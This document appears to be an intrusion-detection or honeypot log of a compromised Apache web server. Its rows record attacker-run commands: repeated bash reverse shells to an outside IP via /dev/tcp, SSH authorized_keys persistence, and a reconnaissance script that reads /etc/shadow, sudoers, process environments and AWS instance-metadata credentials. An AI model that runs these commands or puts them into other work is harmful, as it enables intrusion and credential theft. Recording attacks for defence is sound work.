| 2026-10-28 05:14:01 | 2.59.133.151 | 2.59.133.151: 05:13:45 to 05:14:02 UTC, 6 GET, 3 POST to /, 5.8 MB sent | apache2 -> sh | curl 37455255:7 ; sleep 5 |
| 2026-10-28 06:42:01 | 2.59.133.151 | 2.59.133.151: 06:41:51 to 06:42:01 UTC, 6 GET, 3 POST to /, 6.2 MB sent | apache2 -> sh | curl 37455255:7 ; sleep 5 |
| 2026-10-28 18:49:59 | 2.59.133.151 | 2.59.133.151: 18:50:48 to 18:50:59 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:49:46 to 18:50:00 UTC, 6 GET, 3 POST to /, 5.8 MB sent | apache2 -> sh | curl 37455255:4 ; sleep 5 |
| 2026-10-28 18:52:05 | 2.59.133.151 | 2.59.133.151: 18:52:49 to 18:52:57 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:51:52 to 18:52:06 UTC, 6 GET, 3 POST to /, 5.9 MB sent | apache2 -> sh | curl 37455255:4 ; sleep 5 |
| 2026-10-29 01:41:24 | 2.59.133.151 | 2.59.133.151: 01:41:12 to 01:41:24 UTC, 6 GET, 3 POST to /, 5.6 MB sent; 2.59.133.151: 01:38:22 to 01:38:25 UTC, 1 POST to /, 3.5 MB sent | apache2 -> sh | curl 37455255:4 ; sleep 5 |
| 2026-10-29 17:44:22 | 2.59.133.151 | 2.59.133.151: 17:44:10 to 17:44:22 UTC, 6 GET, 3 POST to /, 5.6 MB sent; 2.59.133.151: 17:39:05 to 17:39:09 UTC, 1 POST to /, 3.5 MB sent | apache2 -> sh | curl 37455255:4 ; sleep 5 |
| 2026-10-29 19:56:40 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | apache2 -> sh | setsid bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; nohup /tmp/beacon.sh ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; head -80 ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; head -20 ; head -40 ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -100 ; sort -nr ; head -30 ; head -120 ; head -40 ; head -150 ; head -50 ; head -250 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; head -80 ; head -40 ; head -20 ; sort ; sort ; tr \0 \n ; head -300 ; tr \0 \n ; sort ; tr \0 \n ; sort ; sort ; tr \0 \n ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; sort ; tr \0 \n ; tr \0 \n ; sort ; head -80 ; head -120 ; head -200 ; head -400 ; wc -l ; head -300 ; head -300 ; head -300 ; tr \0 ; head -30 ; grep -i kube ; head -30 ; head -60 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -1 ; head -40 ; head -20 ; head -30 ; head -10 ; head -5 ; head -30 ; head -30 ; head -30 ; grep -E root |server_name|listen ; head -60 ; head -300 ; head -300 ; head -300 ; head -20 ; head -20 ; wc -c ; sha256sum /etc/apache2/conf-available/charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/docker-php.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; wc -c ; sha256sum /etc/apache2/apache2.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/magic ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/mods-available/access_compat.load ; nohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 |
| 2026-10-29 19:56:40 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | apache2 -> apache2 | sh -c -- [ -e /tmp/.c1104 ]||{ >/tmp/.c1104;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42104 0>&1' & } |
| 2026-10-29 19:56:46 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | bash -i |
| 2026-10-29 19:56:46 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | chmod 600 /var/www/.ssh/authorized_keys |
| 2026-10-29 19:56:46 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | mkdir -p /var/www/.ssh |
| 2026-10-29 19:58:50 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | base64 -d |
| 2026-10-29 19:58:50 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | nohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; cat ; timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 ; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; id ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; hostname ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" ; timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
